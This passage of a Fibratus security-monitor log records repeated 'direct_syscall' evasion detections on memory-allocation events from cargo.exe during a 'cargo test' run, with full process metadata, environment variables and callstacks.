C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff68138dc51 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_odb_object_id|0x7ff680797f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680829f3f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff68080589f C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff680803b75 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807e920c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 905845 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1764061 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ee7000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 15532 + Name: cargo.exe + Parent name: cargo.exe + Cmdline: "C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test + Parent cmdline: "C:\Users\nedo\.cargo\bin\cargo.exe" test + Exe: C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe + Cwd: C:\Fibratus\redteam\RustVEHSyscalls\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe" test] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming CARGO_HOME:C:\Users\nedo\.cargo COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LD_LIBRARY_PATH:C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\lib LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin;C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files RUSTUP_HOME:C:\Users\nedo\.rustup RUSTUP_TOOLCHAIN:stable-x86_64-pc-windows-msvc RUST_RECURSION_COUNT:1 SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:7feeb2fe-95ef-4620-b095-b09aedd8af7c WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + ] and callstack [0xfffff802c4542714 C:\WINDOWS\system32\ntoskrnl.exe!ExQueueWorkItem+0x894|0xfffff802c4474909 C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x739|0xfffff802c4548ff2 C:\WINDOWS\system32\ntoskrnl.exe!PsGetEffectiveServerSilo+0x1c2|0xfffff802c4c2a99c C:\WINDOWS\system32\ntoskrnl.exe!FsRtlQueryCachedVdl+0x1ec|0xfffff802c4a63d12 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1532|0xfffff802c4a629bf C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x1df|0xfffff802c48b2255 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x9215|0xfffff802c48a0700 C:\WINDOWS\system32\ntoskrnl.exe!KeSaveStateForHibernate+0x1a10|0xfffff802c4c24004 C:\WINDOWS\system32\ntoskrnl.exe!MmRotatePhysicalView+0xb24|0xfffff802c449315c C:\WINDOWS\system32\ntoskrnl.exe!RtlPcToFileHeader+0x17c4c|0xfffff802c44400d4 C:\WINDOWS\system32\ntoskrnl.exe!ExReleaseSpinLockSharedFromDpcLevel+0x634|0xfffff802c48addcb C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x4d8b|0x7ff681ca2d47 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff680ef5866 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680dfd77d C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680e6af77 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff68107be14 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff68107a587 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff6810682af C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff3be3 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff2e70 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ff7ab4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680ffef5b C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680fcd9d4 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff680838ecf C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_libgit2_prerelease|0x7ff6807efe76 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807eb9d6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807be1f6 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff6807d6fdc C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!?|0x7ff681c50f85 C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ff68087b78c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_filter_source_repo|0x7ff681ca2f7c C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe!git_midx_writer_dump|0x7ffaf5b1e8d7 C:\Windows\System32\kernel32.dll!BaseThreadInitThunk|0x7ffaf700c53c C:\Windows\System32\ntdll.dll!RtlUserThreadStart] source=evasion/scanner.go:68 +time=2025-12-06T19:13:00+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 905847 + Pid: 6516 + Tid: 10420 + Type: VirtualAlloc + CPU: 2 + Name: VirtualAlloc + Category: mem + Description: + Host: archrabbit + Timestamp: 2025-12-06 19:12:58.1764338 +0100 CET + Params: alloc_typeâžœ COMMIT, base_addressâžœ dc92ee6000, exeâžœ C:\Users\nedo\.rustup\toolchains\stable-x86_64-pc-windows-msvc\bin\cargo.exe, nameâžœ cargo.exe, page_typeâžœ PRIVATE, pidâžœ 6516, protectionâžœ READWRITE, protection_maskâžœ RW, region_sizeâžœ 24576 + Metadata: evasions: [direct_syscall] + + Pid: 6516 + Ppid: 